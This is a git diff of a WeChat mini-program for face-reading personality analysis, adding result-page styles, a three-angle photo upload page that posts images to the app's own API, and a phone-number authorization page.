{{result.hrView.performance.drivers.join('、')}} + + + + 团队适配 + {{result.hrView.teamFit.bestTeam || ''}} + 管理建议:{{result.hrView.teamFit.manageAdvice}} + + + + + + 老板视角 + {{result.bossView.headline}} + + + {{item.label}} + {{item.value}} + + + 用人成本预判:{{result.bossView.costInsight}} + + + + + + + + + 重新分析 + + + 返回首页 + + + + 人工智能生成 + + diff --git a/miniprogram/pages/index/result.wxss b/miniprogram/pages/index/result.wxss new file mode 100644 index 0000000..5ab2730 --- /dev/null +++ b/miniprogram/pages/index/result.wxss @@ -0,0 +1,984 @@ +/* pages/index/result.wxss - AI分析结果(按旧版模板重构) */ +.container { + min-height: 100vh; + background-color: #f5f5f5; + padding: 0 24rpx 60rpx; +} + +/* ========== 分析中模态框 ========== */ +.analyzing-modal { + position: fixed; + top: 0; + left: 0; + right: 0; + bottom: 0; + background-color: rgba(0, 0, 0, 0.7); + display: flex; + align-items: center; + justify-content: center; + z-index: 9999; +} + +.analyzing-content { + background-color: #fff; + border-radius: 24rpx; + padding: 80rpx 60rpx; + width: 560rpx; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 8rpx 32rpx rgba(0, 0, 0, 0.15); +} + +.analyzing-icon { + width: 120rpx; + height: 120rpx; + margin-bottom: 40rpx; + display: flex; + align-items: center; + justify-content: center; +} + +.spinner { + width: 120rpx; + height: 120rpx; + border: 8rpx solid #e0e0e0; + border-top-color: #e63946; + border-radius: 50%; + animation: spin 1s linear infinite; +} + +@keyframes spin { + to { transform: rotate(360deg); } +} + +.analyzing-title { + font-size: 36rpx; + font-weight: 600; + color: #333; + margin-bottom: 16rpx; +} + +.analyzing-desc { + font-size: 28rpx; + color: #e63946; + margin-bottom: 24rpx; + text-align: center; + font-weight: 500; +} + +.analyzing-bar { + width: 400rpx; + height: 12rpx; + background: #e5e5e5; + border-radius: 6rpx; + overflow: hidden; + margin-bottom: 24rpx; +} + +.analyzing-bar-fill { + height: 100%; + background: linear-gradient(90deg, #e63946, #ff6b9d); + border-radius: 6rpx; + transition: width 0.3s ease; +} + +.analyzing-hint { + font-size: 24rpx; + color: #999; + text-align: center; + line-height: 1.6; +} + +/* ========== 状态横幅 ========== */ +.status-banner { + background: linear-gradient(135deg, #e8f5e9 0%, #f1f8e9 100%); + padding: 24rpx; + border-radius: 12rpx; + display: flex; + align-items: center; + margin: 24rpx 0; +} + +.status-dot { + width: 12rpx; + height: 12rpx; + background-color: #4caf50; + border-radius: 50%; + margin-right: 16rpx; +} + +.status-text { + font-size: 26rpx; + color: #2e7d32; +} + +.error-banner { + background: linear-gradient(135deg, #ffebee 0%, #ffcdd2 100%); +} + +.error-dot { + background-color: #f44336; +} + +.error-banner .status-text { + color: #c62828; + font-weight: bold; +} + +.error-content { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); + border-left: 4rpx solid #f44336; +} + +.error-title { + font-size: 28rpx; + color: #c62828; + font-weight: bold; + display: block; + margin-bottom: 16rpx; +} + +.error-message { + font-size: 24rpx; + color: #666; + line-height: 1.8; + display: block; + white-space: pre-wrap; + word-break: break-all; + background-color: #f5f5f5; + padding: 16rpx; + border-radius: 8rpx; + margin-bottom: 24rpx; +} + +.retry-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 20rpx; + border-radius: 12rpx; + text-align: center; +} + +.retry-text { + font-size: 28rpx; + color: #fff; + font-weight: 500; +} + +/* ========== 通用卡片 ========== */ +.card { + background-color: #fff; + border-radius: 16rpx; + padding: 32rpx; + margin-bottom: 24rpx; + box-shadow: 0 2rpx 8rpx rgba(0, 0, 0, 0.04); + word-wrap: break-word; +} + +.card-title { + font-size: 32rpx; + font-weight: 600; + color: #333; + display: block; + margin-bottom: 24rpx; +} + +.card-text { + font-size: 28rpx; + color: #666; + line-height: 1.8; + display: block; +} + +/* ========== 付费解锁毛玻璃区域 ========== */ +.paywall-card { + position: relative; + overflow: hidden; +} + +.paywall-content { + position: relative; +} + +.paywall-blur { + padding: 32rpx 24rpx 140rpx; + border-radius: 24rpx; + background: rgba(255, 255, 255, 0.7); + backdrop-filter: blur(18rpx); +} + +.paywall-mask { + position: absolute; + left: 0; + top: 0; + right: 0; + bottom: 0; + border-radius: 24rpx; + background: linear-gradient(180deg, rgba(255, 255, 255, 0.1), rgba(245, 245, 245, 0.98)); + pointer-events: none; +} + +.paywall-fake-title { + display: block; + font-size: 30rpx; + font-weight: 600; + color: #444; + margin-bottom: 16rpx; +} + +.paywall-fake-line { + display: block; + font-size: 26rpx; + color: #888; + line-height: 1.8; +} + +.paywall-btn { + position: absolute; + left: 5%; + right: 5%; + width: 90%; + bottom: 56rpx; + padding: 20rpx 0; + border-radius: 999rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.35); + display: flex; + flex-direction: row; + align-items: baseline; + justify-content: center; + gap: 12rpx; +} + +.paywall-btn-main { + font-size: 30rpx; + color: #fff; + font-weight: 600; +} + +.paywall-btn-price { + font-size: 24rpx; + color: #ffe5f0; +} + +.paywall-tip { + display: block; + margin-top: 8rpx; + font-size: 22rpx; + color: #999; + text-align: center; +} + +/* ========== 性格类型卡片 ========== */ +.personality-card { + text-align: center; +} + +.personality-type { + margin-bottom: 32rpx; +} + +.type-code { + font-size: 72rpx; + font-weight: 700; + color: #e63946; + display: block; + margin-bottom: 8rpx; +} + +.type-name { + font-size: 28rpx; + color: #666; + display: block; + margin-bottom: 16rpx; +} + +.type-desc { + font-size: 26rpx; + color: #888; + line-height: 1.6; + display: block; + text-align: center; + padding: 0 20rpx; +} + +.type-details { + display: flex; + gap: 24rpx; + margin-bottom: 24rpx; +} + +.type-box { + flex: 1; + padding: 24rpx; + border-radius: 12rpx; + text-align: center; +} + +.pdp-box { + background: linear-gradient(135deg, #faf5fc 0%, #f3e5f5 100%); +} + +.disc-box { + background: linear-gradient(135deg, #f5f9fd 0%, #e3f2fd 100%); +} + +.type-label { + font-size: 24rpx; + color: #666; + display: block; + margin-bottom: 8rpx; +} + +.type-value { + font-size: 30rpx; + font-weight: 600; + display: block; + margin-bottom: 4rpx; +} + +.pdp-box .type-value { color: #7b1fa2; } +.disc-box .type-value { color: #1976d2; } + +.type-sub { + font-size: 22rpx; + color: #999; + display: block; +} + +/* 主要优势 */ +.advantages-box { + background: linear-gradient(135deg, #e8f5e9 0%, #c8e6c9 100%); + padding: 24rpx; + border-radius: 12rpx; + margin-bottom: 24rpx; +} + +.advantages-label { + font-size: 26rpx; + color: #666; + display: block; + text-align: center; + margin-bottom: 16rpx; +} + +.advantages-list { + display: flex; + justify-content: space-around; + flex-wrap: wrap; + gap: 16rpx; +} + +.advantage-item { + display: flex; + flex-direction: column; + align-items: center; +} + +.advantage-dot { + width: 12rpx; + height: 12rpx; + background-color: #4caf50; + border-radius: 50%; + margin-bottom: 8rpx; +} + +.advantage-text { + font-size: 24rpx; + font-weight: 500; + color: #333; +} + +.next-btn { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + padding: 24rpx; + border-radius: 48rpx; + box-shadow: 0 8rpx 16rpx rgba(230, 57, 70, 0.3); +} + +.next-btn-text { + font-size: 28rpx; + font-weight: 600; + color: #fff; + display: block; + text-align: center; +} + +/* ========== Tab切换 ========== */ +.tabs { + display: flex; + border-bottom: 2rpx solid #f0f0f0; + margin-bottom: 24rpx; + background-color: #fff; + border-radius: 16rpx 16rpx 0 0; +} + +.tab { + flex: 1; + padding: 24rpx; + text-align: center; + position: relative; +} + +.tab.active::after { + content: ""; + position: absolute; + bottom: 0; + left: 50%; + transform: translateX(-50%); + width: 60rpx; + height: 4rpx; + background-color: #e63946; + border-radius: 2rpx; +} + +.tab-text { + font-size: 28rpx; + color: #999; +} + +.tab-text.active { + color: #e63946; + font-weight: 600; +} + +/* ========== 面相分析 ========== */ +.feature-list { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.feature-item { + display: flex; + font-size: 26rpx; + line-height: 1.8; +} + +.feature-label { + font-weight: 600; + color: #333; + flex-shrink: 0; +} + +.feature-desc { + color: #666; + flex: 1; +} + +/* 职业建议 */ +.career-list { + display: flex; + flex-direction: column; + gap: 24rpx; +} + +.career-item { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.career-header { + display: flex; + align-items: center; +} + +.career-dot { + width: 12rpx; + height: 12rpx; + background-color: #e63946; + border-radius: 50%; + margin-right: 16rpx; + flex-shrink: 0; +} + +.career-name { + font-size: 28rpx; + font-weight: 600; + color: #333; +} + +.career-reason { + font-size: 24rpx; + color: #666; + line-height: 1.6; + padding-left: 28rpx; +} + +/* 人际关系 */ +.interpersonal-content { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.interpersonal-item { + display: flex; + font-size: 26rpx; + line-height: 1.8; +} + +.interpersonal-label { + font-weight: 600; + color: #333; + flex-shrink: 0; +} + +.interpersonal-text { + color: #666; + flex: 1; +} + +/* 潜能 */ +.potential-list { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.potential-item { + display: flex; + flex-direction: column; + gap: 8rpx; +} + +.potential-name { + font-size: 28rpx; + font-weight: 600; + color: #333; +} + +.potential-desc { + font-size: 24rpx; + color: #666; + line-height: 1.6; + padding-left: 20rpx; +} + +/* ========== 骨相分析 ========== */ +.bone-content { + display: flex; + flex-direction: column; + gap: 20rpx; +} + +.bone-item { + display: flex; + font-size: 26rpx; + line-height: 1.8; +} + +.bone-label { + font-weight: 600; + color: #333; + flex-shrink: 0; + min-width: 120rpx; +} + +.bone-text { + color: #666; + flex: 1; +} + +/* 人生阶段 */ +.life-stage-list { + display: flex; + flex-direction: column; + gap: 24rpx; +} + +.life-stage-item { + background: linear-gradient(135deg, #fff9e6 0%, #fff3cd 100%); + padding: 20rpx; + border-radius: 12rpx; + border-left: 4rpx solid #ff9800; +} + +.stage-label { + font-size: 28rpx; + font-weight: 600; + color: #e65100; + display: block; + margin-bottom: 8rpx; +} + +.stage-desc { + font-size: 26rpx; + color: #666; + line-height: 1.8; + display: block; +} + +/* 骨相总评 */ +.bone-summary-content { + display: flex; + flex-direction: column; + gap: 24rpx; +} + +.summary-text { + font-size: 28rpx; + color: #333; + line-height: 1.8; + display: block; +} + +.suggestions-title { + font-size: 28rpx; + font-weight: 600; + color: #333; + margin-top: 8rpx; +} + +.suggestions-list { + display: flex; + flex-direction: column; + gap: 16rpx; + margin-top: 12rpx; +} + +.suggestion-item { + background: linear-gradient(135deg, #fce4ec 0%, #f8bbd0 100%); + padding: 16rpx 20rpx; + border-radius: 8rpx; +} + +.suggestion-text { + font-size: 26rpx; + color: #333; + line-height: 1.6; + display: block; +} + +/* ========== 简化版(无面相骨相数据) ========== */ +.simple-career-list { + display: flex; + flex-wrap: wrap; + gap: 16rpx; +} + +.simple-career-tag { + padding: 12rpx 24rpx; + background: #f3f4f6; + border-radius: 24rpx; + font-size: 26rpx; + color: #374151; +} + +.ai-generated-tip { + text-align: center; + font-size: 24rpx; + color: #9CA3AF; + margin-top: 24rpx; + padding-bottom: 40rpx; +} + +/* ========== 操作按钮 ========== */ +.action-section { + margin-top: 16rpx; + padding-bottom: 40rpx; +} + +.btn { + display: flex; + align-items: center; + justify-content: center; + width: 100%!important; + height: 100rpx; + min-height: 100rpx; + border-radius: 28rpx; + margin-bottom: 20rpx; + padding: 0; + border: none; + line-height: 100rpx; + box-sizing: border-box; + overflow: hidden; +} + +.btn::after { + border: none; +} + +.btn-primary { + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.btn-outline { + background: #fff; + border: 2rpx solid #e63946; +} + +.btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +.btn-text-outline { + font-size: 30rpx; + color: #e63946; + font-weight: 500; +} + +/* ========== 无人脸错误状态 ========== */ +.no-face-wrap { + min-height: 100vh; + display: flex; + align-items: center; + justify-content: center; + padding: 40rpx 32rpx; + box-sizing: border-box; +} + +.no-face-card { + background: #fff; + border-radius: 24rpx; + padding: 60rpx 48rpx; + width: 100%; + display: flex; + flex-direction: column; + align-items: center; + box-shadow: 0 4rpx 20rpx rgba(0, 0, 0, 0.08); +} + +.no-face-icon { + width: 120rpx; + height: 120rpx; + background: #fff3f3; + border-radius: 60rpx; + display: flex; + align-items: center; + justify-content: center; + margin-bottom: 32rpx; +} + +.no-face-emoji { + font-size: 56rpx; + line-height: 1; +} + +.no-face-title { + font-size: 38rpx; + font-weight: 700; + color: #1a1a2e; + margin-bottom: 16rpx; + text-align: center; +} + +.no-face-desc { + font-size: 28rpx; + color: #e63946; + text-align: center; + line-height: 1.6; + margin-bottom: 40rpx; +} + +.no-face-tips { + width: 100%; + background: #f8f9fa; + border-radius: 16rpx; + padding: 28rpx 32rpx; + margin-bottom: 48rpx; + box-sizing: border-box; +} + +.no-face-tips-title { + font-size: 28rpx; + font-weight: 600; + color: #333; + display: block; + margin-bottom: 16rpx; +} + +.no-face-tip-item { + font-size: 26rpx; + color: #666; + line-height: 1.8; + display: block; +} + +.no-face-btn { + width: 100%; + height: 96rpx; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + border-radius: 48rpx; + display: flex; + align-items: center; + justify-content: center; + box-shadow: 0 8rpx 24rpx rgba(230, 57, 70, 0.3); +} + +.no-face-btn-text { + font-size: 32rpx; + font-weight: 600; + color: #fff; +} + +/* ========== 盖洛普优势卡片 ========== */ +.gallup-list { + display: flex; + flex-direction: column; + gap: 20rpx; + margin-top: 12rpx; +} + +.gallup-item { + display: flex; + align-items: center; + gap: 24rpx; + padding: 18rpx 24rpx; + background: linear-gradient(135deg, rgba(230, 57, 70, 0.06) 0%, rgba(255, 107, 157, 0.04) 100%); + border-radius: 16rpx; + border-left: 6rpx solid #e63946; +} + +.gallup-rank { + width: 56rpx; + height: 56rpx; + border-radius: 50%; + background: linear-gradient(135deg, #e63946 0%, #ff6b9d 100%); + display: flex; + align-items: center; + justify-content: center; + font-size: 28rpx; + font-weight: 700; + color: #fff; + flex-shrink: 0; + text-align: center; + line-height: 56rpx; +} + +.gallup-text { + font-size: 30rpx; + font-weight: 600; + color: #1a1a2e; +} + +/* ========== 企业版:职业画像 / HR视角 / 老板视角 ========== */ +.enterprise-section { + margin-bottom: 24rpx; +} + +.enterprise-section:last-child { + margin-bottom: 0; +} + +.enterprise-label { + font-size: 26rpx; + font-weight: 600; + color: #333; + display: block; + margin-bottom: 12rpx; +} + +.enterprise-sublabel { + font-size: 24rpx; + color: #888; + display: block; + margin-bottom: 8rpx; +} + +.enterprise-tags { + display: flex; + flex-wrap: wrap; + gap: 12rpx; +} + +.enterprise-tag { + padding: 10rpx 20rpx; + background: linear-gradient(135deg, #e8f5e9 0%, #c8e6c9 100%); + border-radius: 24rpx; + font-size: 24rpx; + color: #2e7d32; +} + +.enterprise-tag.risk { + background: linear-gradient(135deg, #fff3e0 0%, #ffe0b2 100%); + color: #e65100; +} + +.lifecycle-list { + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.lifecycle-item { + padding: 16rpx 20rpx; + background: #f8f9fa; + border-radius: 12rpx; +} + +.lifecycle-key { + font-size: 24rpx; + color: #999; + display: block; + margin-bottom: 6rpx; +} + +.lifecycle-val { + font-size: 26rpx; + color: #333; + line-height: 1.6; + display: block; +} + +.boss-card { + border-left: 6rpx solid #1976d2; +} + +.boss-headline { + font-size: 30rpx; + font-weight: 600; + color: #1a1a2e; + line-height: 1.6; + display: block; + margin-bottom: 20rpx; +} + +.boss-metrics { + display: flex; + flex-wrap: wrap; + gap: 16rpx; +} + +.boss-metric { + flex: 1; + min-width: 140rpx; + padding: 16rpx; + background: #f5f5f5; + border-radius: 12rpx; + text-align: center; +} + +.boss-metric-label { + font-size: 22rpx; + color: #999; + display: block; + margin-bottom: 6rpx; +} + +.boss-metric-value { + font-size: 28rpx; + font-weight: 600; + color: #333; + display: block; +} + +.boss-metric-value.high { + color: #4caf50; +} + +.boss-metric-value.medium { + color: #ff9800; +} + +.boss-metric-value.low { + color: #f44336; +} diff --git a/miniprogram/pages/index/upload.js b/miniprogram/pages/index/upload.js new file mode 100644 index 0000000..ffce82a --- /dev/null +++ b/miniprogram/pages/index/upload.js @@ -0,0 +1,193 @@ +// pages/index/camera.js - 面相分析拍照页,拍完后上传到服务器再跳转结果页 +const app = getApp() +const { hasPhone, bindPhoneByCode, ensureProfileCompleteAndRedirect } = require('../../utils/phoneAuth.js') + +Page({ + data: { + sampleImages: [ + 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22c5b77dd72.66364633.png', + 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d71b312f8.14596541.png', + 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260312/img_69b22d78d52b94.76297015.png' + ], + photos: ['', '', ''], + uploadedUrls: [], + photoIndex: 0, + guideTexts: ['请正对镜头', '请向左转45°', '请向右转45°'], + guideText: '请正对镜头', + uploading: false, + needPhoneAuth: false, + aiAnalysisText: '智能分析' + }, + + onLoad() { + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } else { + app.getRuntimeConfig().then((cfg) => { + if (cfg && cfg.textConfig) { + app.globalData.textConfig = cfg.textConfig + this.setData({ aiAnalysisText: cfg.textConfig.aiAnalysisText || '智能分析' }) + } + }).catch(() => {}) + } + }, + + onShow() { + if (!ensureProfileCompleteAndRedirect()) return + if (typeof this.getTabBar === 'function' && this.getTabBar()) { + this.getTabBar().setData({ selected: 1 }) + } + this.setData({ needPhoneAuth: !hasPhone() }) + const tc = app.globalData.textConfig + if (tc && tc.aiAnalysisText) { + this.setData({ aiAnalysisText: tc.aiAnalysisText }) + } + }, + + // 本页就地授权手机号 + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code && !hasPhone()) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + if (!code && hasPhone()) { + // 已有手机号,无需重复请求 + this.setData({ needPhoneAuth: false }) + return + } + bindPhoneByCode(code).then(() => { + this.setData({ needPhoneAuth: false }) + }).catch(() => { + // 失败时保持 needPhoneAuth 为 true,等待用户重新授权 + this.setData({ needPhoneAuth: !hasPhone() }) + }) + }, + + // 选择/拍摄照片通用方法(index: 0 正面 / 1 左侧 / 2 右侧) + choosePhoto(index) { + wx.chooseImage({ + count: 1, + sizeType: ['compressed'], + sourceType: ['camera', 'album'], + success: (res) => { + const tempPath = res.tempFilePaths[0] + const photos = this.data.photos.slice() + photos[index] = tempPath + const filledCount = photos.filter(Boolean).length + const guideText = this.data.guideTexts[filledCount] || '拍摄完成' + this.setData({ photos, photoIndex: filledCount, guideText }) + // 选完图后立即上传当前这张到服务器 + this.uploadSinglePhoto(index, tempPath) + }, + fail: () => {} + }) + }, + // 单张上传到服务器,成功后记录 URL + uploadSinglePhoto(index, localPath) { + const apiBase = (app.globalData && app.globalData.apiBase) ? app.globalData.apiBase.replace(/\/$/, '') : '' + if (!apiBase) { + wx.showToast({ title: '网络未就绪,请稍后再试', icon: 'none' }) + return + } + const token = (app.globalData && app.globalData.token) || wx.getStorageSync('token') || '' + const uploadUrl = apiBase + '/api/upload/image' + + wx.showLoading({ title: '上传中...', mask: true }) + wx.uploadFile({ + url: uploadUrl, + filePath: localPath, + name: 'file', + header: token ? { Authorization: 'Bearer ' + token } : {}, + success: (res) => { + try { + const data = JSON.parse(res.data) + if (data.code === 200 && data.data && data.data.url) { + const url = data.data.url + const uploadedUrls = this.data.uploadedUrls.slice() + uploadedUrls[index] = url + const photos = this.data.photos.slice() + photos[index] = url + this.setData({ uploadedUrls, photos }) + } else { + wx.showToast({ title: data.message || '上传失败', icon: 'none' }) + } + } catch (e) { + wx.showToast({ title: '解析上传结果失败', icon: 'none' }) + } + }, + fail: (err) => { + console.error('[upload] 单张上传失败:', err) + wx.showToast({ title: '上传失败,请重试', icon: 'none' }) + }, + complete: () => { + wx.hideLoading() + } + }) + }, + + // 三个角度对应的上传按钮 + onUploadFront() { + this.choosePhoto(0) + }, + onUploadLeft() { + this.choosePhoto(1) + }, + onUploadRight() { + this.choosePhoto(2) + }, + + // 重新拍摄全部照片 + retakeAll() { + wx.showModal({ + title: '重新拍摄', + content: '确定要重新拍摄所有照片吗?', + confirmText: '确定', + cancelText: '取消', + success: (res) => { + if (res.confirm) { + this.setData({ + photos: ['', '', ''], + uploadedUrls: [], + photoIndex: 0, + guideText: '请正对镜头' + }) + wx.showToast({ title: '已清空,请重新拍摄', icon: 'success' }) + } + } + }) + }, + + // 完成拍照:先上传 3 张图到服务器,拿到 URL 后再跳转结果页 + completeCapture() { + if (!ensureProfileCompleteAndRedirect()) return + const urls = (this.data.uploadedUrls || []).filter(Boolean) + if (!urls.length) { + wx.showToast({ title: '请先上传至少一张照片', icon: 'none' }) + return + } + // 此时 URL 已在选择时上传完成,这里只负责保存和跳转 + wx.setStorageSync('aiPhotos', urls) + wx.navigateTo({ url: '/pages/index/result' }) + }, + + // 相机错误 + onCameraError(e) { + console.error('相机错误:', e) + wx.showModal({ + title: '相机权限', + content: '请允许使用相机权限以进行AI人脸分析', + confirmText: '去设置', + success: (res) => { + if (res.confirm) { + wx.openSetting() + } + } + }) + } +}) diff --git a/miniprogram/pages/index/upload.json b/miniprogram/pages/index/upload.json new file mode 100644 index 0000000..33ef048 --- /dev/null +++ b/miniprogram/pages/index/upload.json @@ -0,0 +1,8 @@ +{ + "navigationBarTitleText": "拍照", + "navigationBarBackgroundColor": "#FFFFFF", + "navigationBarTextStyle": "black", + "usingComponents": { + "custom-tab-bar": "/custom-tab-bar/index" + } +} diff --git a/miniprogram/pages/index/upload.wxml b/miniprogram/pages/index/upload.wxml new file mode 100644 index 0000000..b7f4297 --- /dev/null +++ b/miniprogram/pages/index/upload.wxml @@ -0,0 +1,113 @@ + + + + + + + 多角度拍摄更精准 + + 为了更准确地通过骨相与面相分析您的性格, + 请上传以下三个维度的照片。 + + + + + + + + + 1 + + + 正面 + 目视前方,五官端正,不遮挡额头 + + + + + + 📷 + 点击上传 + + + + + + + + + + 2 + + + 左侧 45度 + 展示左侧面颊,用于分析面部轮廓 + + + + + + 📷 + 点击上传 + + + + + + + + + + 3 + + + 右侧 45度 + 展示右侧面颊,完整捕捉面部信息 + + + + + + 📷 + 点击上传 + + + + + + + + + + + + 温馨提示 + + + · 光线充足,背景整洁,避免过曝或过暗 + · 保持表情自然,无需刻意微笑 + · 如有佩戴眼镜,请确保镜片不反光 + + + + + + 为保障服务与联系,请先授权手机号。 + + + + + + + + + + + + diff --git a/miniprogram/pages/index/upload.wxss b/miniprogram/pages/index/upload.wxss new file mode 100644 index 0000000..af4e5be --- /dev/null +++ b/miniprogram/pages/index/upload.wxss @@ -0,0 +1,243 @@ +/* pages/index/camera.wxss - 上传照片引导页(参照设计稿) */ + +.page { + min-height: 100vh; + min-height: 100dvh; + background-color: #ffffff; + display: flex; + flex-direction: column; + box-sizing: border-box; +} + +/* 主体内容 */ +.content { + flex: 1; + /* 底部按钮作为正常内容,在 tabBar 之上留出空间 */ + padding: 40rpx 48rpx 40rpx; + box-sizing: border-box; +} + +/* 顶部说明文案 */ +.intro { + text-align: center; + margin-bottom: 40rpx; +} + +.intro-title { + font-size: 34rpx; + font-weight: 700; + color: #111827; + margin-bottom: 12rpx; +} + +.intro-desc-wrap { + display: flex; + flex-direction: column; + align-items: center; + row-gap: 4rpx; +} + +.intro-desc { + font-size: 24rpx; + color: #6b7280; + line-height: 1.7; +} + +/* 三个步骤区域 */ +.steps { + display: flex; + flex-direction: column; + row-gap: 40rpx; +} + +.step-item { + display: flex; + flex-direction: row; +} + +.step-index { + width: 60rpx; + height: 60rpx; + border-radius: 9999rpx; + border-width: 4rpx; + display: flex; + align-items: center; + justify-content: center; + margin-right: 24rpx; +} + +.step-index-primary { + background-color: #ffe5e9; + border-color: #ff5e7d; +} + +.step-index-secondary { + background-color: #f3f4f6; + border-color: #d1d5db; +} + +.step-index-text { + font-size: 26rpx; + font-weight: 700; +} + +.step-index-text-primary { + color: #ff5e7d; +} + +.step-index-text-secondary { + color: #6b7280; +} + +.step-body { + flex: 1; +} + +.step-title { + font-size: 30rpx; + font-weight: 700; + color: #111827; + margin-bottom: 4rpx; +} + +.step-subtitle { + font-size: 22rpx; + color: #9ca3af; + margin-bottom: 16rpx; +} + +.step-upload-row { + display: flex; + flex-direction: row; + column-gap: 24rpx; +} + +.sample-image { + width: 200rpx; + height: 200rpx; + border-radius: 24rpx; + border: 2rpx solid #f3f4f6; + box-shadow: 0 6rpx 16rpx rgba(0, 0, 0, 0.06); + flex-shrink: 0; +} + +.upload-card { + width: 200rpx; + height: 200rpx; + overflow: hidden; + border-radius: 24rpx; + border: 4rpx dashed #fecaca; + background-color: #fff5f5; + display: flex; + flex-direction: column; + align-items: center; + justify-content: center; + color: #f97373; +} + +.upload-icon { + font-size: 40rpx; + margin-bottom: 8rpx; +} + +.upload-text { + font-size: 24rpx; +} + +.upload-preview { + width: 100%; + height: 100%; + border-radius: 20rpx; + display: block; +} + +/* 温馨提示卡片 */ +.tips-card { + margin-top: 48rpx; + padding: 24rpx 28rpx; + border-radius: 24rpx; + background-color: #fff5f5; + border: 2rpx solid #ffe0e0; +} + +.tips-title-row { + display: flex; + align-items: center; + margin-bottom: 12rpx; +} + +.tips-icon { + width: 28rpx; + height: 28rpx; + border-radius: 9999rpx; + border: 4rpx solid #e63946; + margin-right: 10rpx; +} + +.tips-title { + font-size: 26rpx; + font-weight: 700; + color: #e63946; +} + +.tips-list { + margin-top: 4rpx; +} + +.tips-item { + font-size: 24rpx; + color: #b91c1c; + line-height: 1.7; +} + +/* 底部按钮区域 */ +.footer { + padding: 24rpx 0 0; + margin: 24rpx 48rpx calc(160rpx + env(safe-area-inset-bottom)); + background-color: #ffffff; +} + +.footer .primary-btn{ + width: 100%; +} + +.phone-auth-section { + padding: 24rpx 24rpx 0; + display: flex; + flex-direction: column; + gap: 16rpx; +} + +.phone-auth-tip { + font-size: 26rpx; + color: #4b5563; +} + +.phone-auth-btn { + height: 80rpx; + line-height: 80rpx; + border-radius: 40rpx; + background: linear-gradient(135deg, #7c3aed 0%, #5b21b6 100%); + color: #ffffff; + font-size: 28rpx; +} + +.phone-auth-btn::after { + border: none; +} + +.primary-btn { + width: 100%; + padding: 24rpx 0; + border-radius: 9999rpx; + border: none; + background-image: linear-gradient(90deg, #ff5e7d 0%, #ff85a1 100%); + box-shadow: 0 10rpx 25rpx rgba(248, 113, 113, 0.45); + font-size: 32rpx; + font-weight: 700; + color: #ffffff; +} + +.primary-btn::after { + border: none; +} diff --git a/miniprogram/pages/phone-auth/index.js b/miniprogram/pages/phone-auth/index.js new file mode 100644 index 0000000..1c72b08 --- /dev/null +++ b/miniprogram/pages/phone-auth/index.js @@ -0,0 +1,74 @@ +// 手机号授权页:用户点击按钮授权后,用 code 换手机号并写回 userInfo,再返回或跳转 next +const app = getApp() + +Page({ + data: { + next: '', + }, + + onLoad(options) { + this.setData({ + next: options.next ? decodeURIComponent(options.next) : '', + }) + }, + + onGetPhoneNumber(e) { + const { code, errMsg } = e.detail || {} + if (errMsg && errMsg.indexOf('getPhoneNumber:fail') === 0) { + wx.showToast({ title: '需要授权手机号才能继续', icon: 'none' }) + return + } + if (!code) { + wx.showToast({ title: '获取手机号失败', icon: 'none' }) + return + } + const token = app.globalData.token || wx.getStorageSync('token') + if (!token) { + wx.showToast({ title: '请先登录', icon: 'none' }) + return + } + wx.showLoading({ title: '处理中...', mask: true }) + wx.request({ + url: `${app.globalData.apiBase.replace(/\/$/, '')}/api/auth/wechat/phone`, + method: 'POST', + header: { + 'Authorization': 'Bearer ' + token, + 'Content-Type': 'application/json', + }, + data: { code }, + success: (res) => { + wx.hideLoading() + if (res.statusCode === 200 && res.data && res.data.code === 200) { + const data = res.data.data || {} + const user = data.user || app.globalData.userInfo || {} + const phone = data.phone || user.phone || '' + const newUser = { ...user, phone } + app.globalData.userInfo = newUser + wx.setStorageSync('userInfo', newUser) + wx.showToast({ title: '授权成功', icon: 'success' }) + const nextPath = this.data.next && this.data.next.startsWith('/') ? this.data.next : '' + const tabBarPaths = ['/pages/index/index', '/pages/index/camera', '/pages/profile/index'] + const isTabBar = tabBarPaths.some(p => nextPath === p || nextPath.startsWith(p + '?')) + if (nextPath) { + setTimeout(() => { + if (isTabBar) { + const pathOnly = nextPath.split('?')[0] + wx.switchTab({ url: pathOnly, fail: () => wx.navigateBack() }) + } else { + wx.redirectTo({ url: nextPath, fail: () => wx.navigateBack() }) + } + }, 500) + } else { + setTimeout(() => wx.navigateBack(), 500) + } + } else { + wx.showToast({ title: res.data && res.data.message ? res.data.message : '获取手机号失败', icon: 'none' }) + } + }, + fail: () => { + wx.hideLoading() + wx.showToast({ title: '网络请求失败', icon: 'none' }) + }, + }) + }, +}) diff --git a/miniprogram/pages/phone-auth/index.json b/miniprogram/pages/phone-auth/index.json new file mode 100644 index 0000000..1f1120b --- /dev/null +++ b/miniprogram/pages/phone-auth/index.json @@ -0,0 +1,4 @@ +{ + "navigationBarTitleText": "授权手机号", + "usingComponents": {} +} diff --git a/miniprogram/pages/phone-auth/index.wxml b/miniprogram/pages/phone-auth/index.wxml new file mode 100644 index 0000000..3b5d05e --- /dev/null +++ b/miniprogram/pages/phone-auth/index.wxml @@ -0,0 